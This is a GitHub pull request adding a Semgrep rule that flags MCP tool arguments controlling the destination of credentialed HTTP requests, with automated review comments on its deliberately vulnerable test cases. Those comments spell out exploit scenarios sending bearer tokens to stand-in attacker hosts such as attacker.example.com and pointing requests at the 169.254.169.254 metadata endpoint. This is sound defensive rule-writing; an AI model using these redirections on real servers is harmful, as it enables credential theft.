Skip to content

Add mcp-credential-destination-injection-python rule - #4043

Open
SyedAnas01 wants to merge 1 commit into
semgrep:developfrom
SyedAnas01:add-mcp-credential-destination-injection-rule
Open

Add mcp-credential-destination-injection-python rule#4043
SyedAnas01 wants to merge 1 commit into
semgrep:developfrom
SyedAnas01:add-mcp-credential-destination-injection-rule

Conversation

@SyedAnas01

Copy link
Copy Markdown

Summary

Adds a new rule to the ai/ai-best-practices/ MCP category: mcp-credential-destination-injection-python.

Detects an MCP tool argument flowing into the destination of an HTTP request that also carries a credential (an Authorization header, bearer token, or auth parameter).

This is a distinct pattern from the two existing rules it sits next to:

  • mcp-ssrf flags any tainted URL reaching a request call, regardless of whether a credential is attached.
  • mcp-credential-in-response flags a credential leaking back through a tool's return value.

Here the credential never leaks and the request itself is unremarkable — the issue is that the destination is chosen by untrusted input while a credential rides along. An attacker who controls the tool argument can redirect the server's own credential to a destination of their choosing. This is the mechanism behind a recently disclosed SSRF in an official cloud vendor's MCP server (CVE-2026-14540), where a redirect carried a credentialed request to a cloud instance metadata endpoint.

What's included

  • mcp-credential-destination-injection.yaml — taint-mode rule covering requests/httpx with headers={"Authorization": ...} and auth= sinks, following the same source pattern (@server.tool() handler parameter) as the existing mcp-ssrf rule.
  • mcp-credential-destination-injection.py — test file with ruleid/ok cases (credential+tainted destination fires; no credential, sanitized destination, or hardcoded destination do not fire).

Verified locally with semgrep --test — all cases pass.

Test plan

  • semgrep --test ai/ai-best-practices/mcp-credential-destination-injection passes locally
  • Checked for overlap with existing MCP rules in this repo (mcp-ssrf, mcp-credential-in-response, mcp-hardcoded-config-secret) — none cover this pattern

@CLAassistant

CLAassistant commented Aug 20, 2026

Copy link
Copy Markdown

CLA assistant check
All committers have signed the CLA.

@mcp.tool()
def fetch_httpx_with_bearer(url: str, token: str) -> str:
# ruleid: mcp-credential-destination-injection-python
response = httpx.get(url, headers={"Authorization": f"Bearer {token}"})

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

In fetch_httpx_with_bearer, a caller-supplied url and token are used directly in an authenticated HTTP request, allowing an attacker to point the request at their own server and steal the bearer token.

More details about this

In fetch_httpx_with_bearer, both url and token are MCP tool parameters supplied directly by the caller, and token is forwarded as a Bearer token in the Authorization header of an httpx.get call to the caller-controlled url.

Exploit scenario:

  1. An attacker invokes the fetch_httpx_with_bearer MCP tool, passing a URL they control—e.g., https://attacker.example.com/steal—along with the victim's real bearer token (or tricking the victim's MCP client into supplying its own ambient token as token).
  2. The tool executes httpx.get("https://attacker.example.com/steal", headers={"Authorization": "Bearer <victim_token>"}).
  3. The attacker's server at attacker.example.com logs the incoming Authorization header and captures <victim_token> verbatim.
  4. The attacker now replays this token against any service that accepts it (e.g., the API the token was originally issued for), gaining full access to the victim's account or data on that service.
  5. Because the MCP tool returns response.text, the attacker can also craft a response that looks legitimate, making the victim unaware that their credential was exfiltrated.
Dataflow graph
flowchart LR
    classDef invis fill:white, stroke: none
    classDef default fill:#e7f5ff, color:#1c7fd6, stroke: none

    subgraph File0["<b>ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py</b>"]
        direction LR
        %% Source

        subgraph Source
            direction LR

            v0["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L31 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 31] url</a>"]
        end
        %% Intermediate

        subgraph Traces0[Traces]
            direction TB

            v2["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L31 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 31] url</a>"]
        end
        %% Sink

        subgraph Sink
            direction LR

            v1["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L33 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 33] httpx.get(url, headers={&quot;Authorization&quot;: f&quot;Bearer {token}&quot;})</a>"]
        end
    end
    %% Class Assignment
    Source:::invis
    Sink:::invis

    Traces0:::invis
    File0:::invis

    %% Connections

    Source --> Traces0
    Traces0 --> Sink


Loading

To resolve this comment:

✨ Commit fix suggestion

Suggested change
response = httpx.get(url, headers={"Authorization": f"Bearer {token}"})
import os
import urllib.parse
# Allowlist of trusted domains for authenticated requests
ALLOWED_HOSTS = {"api.example.com", "api.trusted-service.com"}
@mcp.tool()
def fetch_httpx_with_bearer(url: str) -> str:
parsed = urllib.parse.urlparse(url)
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError(f"URL host '{parsed.hostname}' is not in the allowlist")
# Load credential from environment variable instead of accepting as tool parameter
token = os.environ["API_TOKEN"]
response = httpx.get(parsed.geturl(), headers={"Authorization": f"Bearer {token}"})
return response.text
View step-by-step instructions

The vulnerability here is that user-controlled url and token parameters from MCP tool calls are passed directly into authenticated HTTP requests. An attacker can supply a URL they control and receive the victim's credentials.

  1. Define an allowlist of trusted domains at the top of your file, e.g. ALLOWED_HOSTS = {"api.example.com", "api.trusted-service.com"}.

  2. In each affected tool function (fetch_with_bearer, post_with_bearer, fetch_httpx_with_bearer, and fetch_with_auth_tuple), parse the incoming URL before making the request using urllib.parse.urlparse(url) and extract the hostname with .hostname.

  3. Check that the parsed hostname is in your allowlist before proceeding: if parsed.hostname not in ALLOWED_HOSTS: raise ValueError(f"URL host '{parsed.hostname}' is not in the allowlist"). This ensures credentials are never forwarded to an attacker-controlled server.

  4. Pass the validated URL (using parsed.geturl()) to the HTTP call instead of the raw url parameter, e.g. requests.get(parsed.geturl(), headers={"Authorization": f"Bearer {token}"}).

  5. Avoid accepting the credential (token, api_key) as a tool parameter at all where possible — hardcode or load the credential from an environment variable (e.g. os.environ["API_TOKEN"]) inside the function, so the caller never has the ability to supply or influence the credential value. The fetch_hardcoded_destination function in the file already shows this safer pattern.

Note: The root cause is that MCP tool parameters are attacker-controlled inputs. Treating both url and the credential as tool parameters creates the dangerous combination — validating the destination URL with an allowlist breaks the attack chain, and removing the credential parameter from the tool signature eliminates it entirely.

💬 Request to ignore this finding

Reply to this comment to request to ignore this finding. Reply using the following format:

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

You can view more details about this finding in the Semgrep AppSec Platform.

@mcp.tool()
def post_with_bearer(url: str, token: str) -> str:
# ruleid: mcp-credential-destination-injection-python
response = requests.post(url, headers={"Authorization": f"Bearer {token}"})

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

In post_with_bearer, a caller-controlled url and token are used directly in an authenticated requests.post call, allowing an attacker to redirect the victim's Bearer token to an arbitrary server they control and steal it.

More details about this

In post_with_bearer, both url and token come directly from MCP tool parameters—meaning any caller of this tool controls both the destination and the credential being sent.

Exploit scenario:

  1. An attacker invokes the post_with_bearer MCP tool, supplying a URL they control, e.g. url="https://evil.attacker.com/collect", and leaves token as the victim's real Bearer token (or tricks the victim's agent/client into passing their own token).
  2. The tool executes requests.post("https://evil.attacker.com/collect", headers={"Authorization": "Bearer <victim_token>"}).
  3. The attacker's server receives the full Authorization: Bearer <victim_token> header in the HTTP request.
  4. The attacker now holds a valid Bearer token they can replay against any service that accepts it—impersonating the victim, accessing their data, or escalating privileges to other resources protected by that token.

Because the token parameter is passed verbatim into the Authorization header and url is never validated, there is no barrier preventing the credential from being exfiltrated to an arbitrary third-party server.

Dataflow graph
flowchart LR
    classDef invis fill:white, stroke: none
    classDef default fill:#e7f5ff, color:#1c7fd6, stroke: none

    subgraph File0["<b>ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py</b>"]
        direction LR
        %% Source

        subgraph Source
            direction LR

            v0["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L17 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 17] url</a>"]
        end
        %% Intermediate

        subgraph Traces0[Traces]
            direction TB

            v2["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L17 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 17] url</a>"]
        end
        %% Sink

        subgraph Sink
            direction LR

            v1["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L19 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 19] requests.post(url, headers={&quot;Authorization&quot;: f&quot;Bearer {token}&quot;})</a>"]
        end
    end
    %% Class Assignment
    Source:::invis
    Sink:::invis

    Traces0:::invis
    File0:::invis

    %% Connections

    Source --> Traces0
    Traces0 --> Sink


Loading

To resolve this comment:

✨ Commit fix suggestion

Suggested change
response = requests.post(url, headers={"Authorization": f"Bearer {token}"})
import os
import urllib.parse
ALLOWED_HOSTS = {
# Add trusted hostnames here, e.g.: "api.example.com", "internal.example.com"
# Replace or extend this set with the actual trusted domains for your environment.
"<VERIFIED_VALUE_REQUIRED>"
}
@mcp.tool()
def post_with_bearer(url: str) -> str:
# Load credentials server-side; never accept tokens as user-supplied parameters.
token = os.environ["SERVICE_TOKEN"]
parsed = urllib.parse.urlparse(url)
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError(f"Untrusted destination: {parsed.hostname}")
response = requests.post(parsed.geturl(), headers={"Authorization": f"Bearer {token}"})
return response.text
View step-by-step instructions

The vulnerability here is that user-supplied url and token parameters from MCP tool calls are passed directly to HTTP requests with authentication headers. An attacker can supply a malicious URL and receive the victim's credentials.

  1. Create an allowlist of trusted domains that are permitted to receive authentication credentials, for example ALLOWED_HOSTS = {"api.example.com", "internal.example.com"}.

  2. Before making any authenticated HTTP request, validate the URL against the allowlist by parsing it with urllib.parse.urlparse(url) and checking that parsed.hostname is in ALLOWED_HOSTS. Reject the request if it doesn't match.

  3. Replace the user-supplied token parameter with a server-side credential lookup. Instead of accepting the token as an MCP tool parameter, load it from an environment variable or secrets manager (e.g. token = os.environ["SERVICE_TOKEN"]). This ensures credentials never travel through user-controlled input at all.

  4. If you must accept a token from the caller, scope it: accept only a short-lived, scoped token identifier (not the raw bearer token), and resolve the actual credential server-side before attaching it to the request.

  5. Update each vulnerable function to combine steps 2 and 3, for example: if parsed.hostname not in ALLOWED_HOSTS: raise ValueError(f"Untrusted destination: {parsed.hostname}") before calling requests.get(...) or requests.post(...).

Note: The core risk is that an attacker controls both where credentials go (the URL) and which credentials are sent (the token). Fixing either one breaks the attack — validating the destination prevents exfiltration even if credentials are user-supplied, and loading credentials server-side prevents theft even if the URL is attacker-controlled. Doing both is the most robust approach.

💬 Request to ignore this finding

Reply to this comment to request to ignore this finding. Reply using the following format:

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

You can view more details about this finding in the Semgrep AppSec Platform.

@mcp.tool()
def fetch_with_bearer(url: str, token: str) -> str:
# ruleid: mcp-credential-destination-injection-python
response = requests.get(url, headers={"Authorization": f"Bearer {token}"})

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The fetch_with_bearer MCP tool passes a caller-supplied token as a Bearer authorization header to a caller-supplied url, allowing an attacker to redirect the authenticated request to their own server and steal the credential.

More details about this

In fetch_with_bearer, both url and token come directly from MCP tool call parameters — meaning any caller of this tool fully controls where the HTTP request goes and supplies the Bearer token that gets attached to it.

Exploit scenario:

  1. An attacker (or a malicious MCP client/prompt) calls fetch_with_bearer with url="https://attacker.com/steal" and token="<victim's real token>".
  2. requests.get fires a GET to https://attacker.com/steal with the header Authorization: Bearer <victim's real token>.
  3. The attacker's server logs the incoming Authorization header and now has the victim's Bearer token in full.
  4. The attacker replays that token against the legitimate service it was issued for (e.g., a GitHub API, internal service, cloud provider) to act as the victim — reading data, making changes, or escalating privileges.

Because url is never validated against a trusted domain allowlist before requests.get is called, any destination — including an attacker-controlled one — will receive the Authorization: Bearer {token} header verbatim.

Dataflow graph
flowchart LR
    classDef invis fill:white, stroke: none
    classDef default fill:#e7f5ff, color:#1c7fd6, stroke: none

    subgraph File0["<b>ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py</b>"]
        direction LR
        %% Source

        subgraph Source
            direction LR

            v0["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L10 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 10] url</a>"]
        end
        %% Intermediate

        subgraph Traces0[Traces]
            direction TB

            v2["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L10 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 10] url</a>"]
        end
        %% Sink

        subgraph Sink
            direction LR

            v1["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L12 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 12] requests.get(url, headers={&quot;Authorization&quot;: f&quot;Bearer {token}&quot;})</a>"]
        end
    end
    %% Class Assignment
    Source:::invis
    Sink:::invis

    Traces0:::invis
    File0:::invis

    %% Connections

    Source --> Traces0
    Traces0 --> Sink


Loading

To resolve this comment:

✨ Commit fix suggestion

Suggested change
response = requests.get(url, headers={"Authorization": f"Bearer {token}"})
import requests
import httpx
import urllib.parse
import os
from mcp.server.fastmcp import FastMCP
# Define an allowlist of trusted domains that are permitted to receive credentials.
# Update this set to include the actual trusted hostnames for your deployment.
ALLOWED_HOSTS = {
# "api.example.com",
# "internal.example.com",
}
mcp = FastMCP("test-server")
def is_allowed_url(url: str) -> bool:
"""Validate that a URL uses HTTPS and targets an allowlisted hostname."""
parsed = urllib.parse.urlparse(url)
return parsed.scheme == "https" and parsed.hostname in ALLOWED_HOSTS
@mcp.tool()
def fetch_with_bearer(url: str) -> str:
if not is_allowed_url(url):
raise ValueError(f"URL host is not in the allowed list")
# Load the credential from the environment instead of accepting it as a parameter.
token = os.environ["SERVICE_API_TOKEN"]
response = requests.get(url, headers={"Authorization": f"Bearer {token}"})
return response.text
@mcp.tool()
def post_with_bearer(url: str) -> str:
if not is_allowed_url(url):
raise ValueError(f"URL host is not in the allowed list")
# Load the credential from the environment instead of accepting it as a parameter.
token = os.environ["SERVICE_API_TOKEN"]
response = requests.post(url, headers={"Authorization": f"Bearer {token}"})
return response.text
@mcp.tool()
def fetch_with_auth_tuple(url: str) -> str:
if not is_allowed_url(url):
raise ValueError(f"URL host is not in the allowed list")
# Load the credential from the environment instead of accepting it as a parameter.
api_key = os.environ["SERVICE_API_KEY"]
response = requests.get(url, auth=(api_key, ""))
return response.text
@mcp.tool()
def fetch_httpx_with_bearer(url: str) -> str:
if not is_allowed_url(url):
raise ValueError(f"URL host is not in the allowed list")
# Load the credential from the environment instead of accepting it as a parameter.
token = os.environ["SERVICE_API_TOKEN"]
response = httpx.get(url, headers={"Authorization": f"Bearer {token}"})
return response.text
@mcp.tool()
def fetch_no_credential(url: str) -> str:
# ok: mcp-credential-destination-injection-python
response = requests.get(url)
return response.text
View step-by-step instructions

MCP Credential Destination Injection

Your MCP tool functions accept a url parameter from callers and pass authentication credentials (Bearer tokens, API keys) directly to that URL. An attacker can supply a URL they control to harvest the victim's credentials.

The fix is to validate the url parameter against an allowlist of trusted domains before making any authenticated request.

  1. Define an allowlist of trusted domains at the top of your file, e.g. ALLOWED_HOSTS = {"api.example.com", "internal.example.com"}.

  2. Add a URL validation helper function before your tool definitions:
    def is_allowed_url(url: str) -> bool: parsed = urllib.parse.urlparse(url); return parsed.scheme == "https" and parsed.hostname in ALLOWED_HOSTS
    This ensures only HTTPS requests to known hosts ever receive credentials.

  3. In each affected tool function (fetch_with_bearer, post_with_bearer, fetch_with_auth_tuple, fetch_httpx_with_bearer), call the validator at the start of the function and raise an error if the URL is not trusted:
    if not is_allowed_url(url): raise ValueError(f"URL host is not in the allowed list")

  4. Remove the token / api_key parameter from each tool's signature entirely — callers should not be supplying credentials. Instead, load credentials from environment variables inside the function: token = os.environ["SERVICE_API_TOKEN"]. This eliminates the taint source, so even if URL validation were bypassed, no attacker-controlled credential could be injected.

  5. Update your imports to include import os if not already present.

Alternatively, if different downstream services genuinely require different credentials, store a mapping of host → credential in environment variables or a secrets manager and look up the credential based on the validated (allowlisted) hostname rather than accepting it as a parameter.

💬 Request to ignore this finding

Reply to this comment to request to ignore this finding. Reply using the following format:

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

You can view more details about this finding in the Semgrep AppSec Platform.

@mcp.tool()
def fetch_httpx_with_bearer(url: str, token: str) -> str:
# ruleid: mcp-credential-destination-injection-python
response = httpx.get(url, headers={"Authorization": f"Bearer {token}"})

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The url parameter of the fetch_httpx_with_bearer MCP tool flows unsanitized into httpx.get(), enabling SSRF. An attacker can redirect the request—along with the Bearer token—to internal cloud metadata endpoints or attacker-controlled servers to exfiltrate credentials or access internal infrastructure.

More details about this

In fetch_httpx_with_bearer, the MCP tool parameter url (supplied by an external client) is passed directly into httpx.get(url, ...) along with a Bearer token in the Authorization header. This creates a Server-Side Request Forgery (SSRF) vulnerability where an attacker controls both the destination and receives the credential.

Exploit scenario:

  1. An attacker calls the fetch_httpx_with_bearer MCP tool with a malicious url, e.g.:
    url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    token = "attacker-does-not-care"
    
  2. The server executes httpx.get("http://169.254.169.254/...", headers={"Authorization": "Bearer attacker-does-not-care"}), making a request from the server's network to the AWS EC2 instance metadata endpoint.
  3. The response (containing IAM role credentials) is returned to the attacker via response.text.

Alternatively, the attacker could point url at an attacker-controlled server (e.g., https://evil.example.com/collect), causing the server to send the legitimate token value to the attacker:

url = "https://evil.example.com/collect"
token = "<victim's real Bearer token>"

This leaks the token credential to an external party, since the server blindly forwards it in the Authorization header to whatever destination url specifies.

Dataflow graph
flowchart LR
    classDef invis fill:white, stroke: none
    classDef default fill:#e7f5ff, color:#1c7fd6, stroke: none

    subgraph File0["<b>ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py</b>"]
        direction LR
        %% Source

        subgraph Source
            direction LR

            v0["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L31 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 31] url</a>"]
        end
        %% Intermediate

        subgraph Traces0[Traces]
            direction TB

            v2["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L31 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 31] url</a>"]
        end
        %% Sink

        subgraph Sink
            direction LR

            v1["<a href=https://github.com/semgrep/semgrep-rules/blob/a1f7e2c812ab801b9e2cd739b5f837a0e1ef3e27/ai/ai-best-practices/mcp-credential-destination-injection/mcp-credential-destination-injection.py#L33 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 33] url</a>"]
        end
    end
    %% Class Assignment
    Source:::invis
    Sink:::invis

    Traces0:::invis
    File0:::invis

    %% Connections

    Source --> Traces0
    Traces0 --> Sink


Loading

To resolve this comment:

✨ Commit fix suggestion

Suggested change
response = httpx.get(url, headers={"Authorization": f"Bearer {token}"})
import ipaddress
import socket
from furl import furl
import validators
# Allowlist of trusted hosts that credentials may be sent to
ALLOWED_HOSTS = {"api.example.com"}
def _validate_url(url: str) -> None:
"""Validate a URL against the allowlist and block private/internal IP ranges."""
if not validators.url(url):
raise ValueError(f"Invalid URL: {url}")
f = furl(url)
host = f.host
if host not in ALLOWED_HOSTS:
raise ValueError(f"Host '{host}' is not in the list of allowed hosts.")
# Block requests to loopback and private IP ranges
try:
resolved_ip = socket.gethostbyname(host)
ip = ipaddress.ip_address(resolved_ip)
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise ValueError(f"Requests to private/internal IP addresses are not allowed: {resolved_ip}")
except socket.gaierror:
raise ValueError(f"Unable to resolve host: {host}")
@mcp.tool()
def fetch_httpx_with_bearer(url: str, token: str) -> str:
_validate_url(url)
# ruleid: mcp-credential-destination-injection-python
response = httpx.get(furl(url).url, headers={"Authorization": f"Bearer {token}"})
return response.text
View step-by-step instructions

The vulnerability here is that an attacker-controlled url parameter is passed directly to an HTTP request that also includes credentials (Bearer tokens, API keys, etc.). This allows an attacker to redirect your credentials to a server they control, or access internal services.

  1. Define an allowlist of permitted base URLs or domains. For example, create a set of allowed origins: ALLOWED_HOSTS = {"api.example.com", "api.another-trusted.com"}

  2. Parse and validate the incoming url parameter before use. Use furl (already installed) to parse the URL: f = furl(url), then check f.host in ALLOWED_HOSTS. If the host is not in the allowlist, raise a ValueError.

  3. Additionally, block requests to private/internal IP ranges and loopback addresses. Use the validators library to check the URL is valid first: validators.url(url), then also reject any URL whose host resolves to a private range (e.g., localhost, 127.x.x.x, 10.x.x.x, 192.168.x.x, 169.254.x.x).

  4. Replace every MCP tool that accepts a user-controlled url with a version that performs this validation before calling requests.get(...) or httpx.get(...). For example, your validated function would look like: f = furl(url); assert f.host in ALLOWED_HOSTS; response = requests.get(f.url, headers={...})

  5. For tools where the destination is always the same (like fetch_hardcoded_destination), remove the url parameter entirely and hardcode the destination URL directly in the call, e.g. requests.get("https://api.example.com/data", ...). This is the safest option — never let callers influence the URL when the destination is known ahead of time.

Alternatively, if the tool only ever needs to fetch from a small set of known endpoints, replace the url parameter with an enum-style identifier (e.g., endpoint: str that maps to {"profile": "https://api.example.com/profile", ...}), so the caller never controls the actual URL.

💬 Request to ignore this finding

Reply to this comment to request to ignore this finding. Reply using the following format:

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

You can view more details about this finding in the Semgrep AppSec Platform.

Detects an MCP tool argument flowing into the destination of an HTTP
request that also carries a credential (Authorization header, bearer
token, or auth parameter). This is distinct from the existing
mcp-ssrf rule (which flags any tainted URL reaching a request call,
regardless of credentials) and mcp-credential-in-response (which
flags a credential leaking back through a tool's return value):
here the credential is attached correctly and never leaves the
server, but its destination is chosen by untrusted input, so an
attacker who controls the tool argument can redirect the credential
to a destination they control.

Includes a taint-mode rule for requests/httpx and a test file with
matching ruleid/ok cases; verified locally with 'semgrep --test'.
@SyedAnas01
SyedAnas01 force-pushed the add-mcp-credential-destination-injection-rule branch from a1f7e2c to e8fcb55 Compare September 3, 2026 11:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants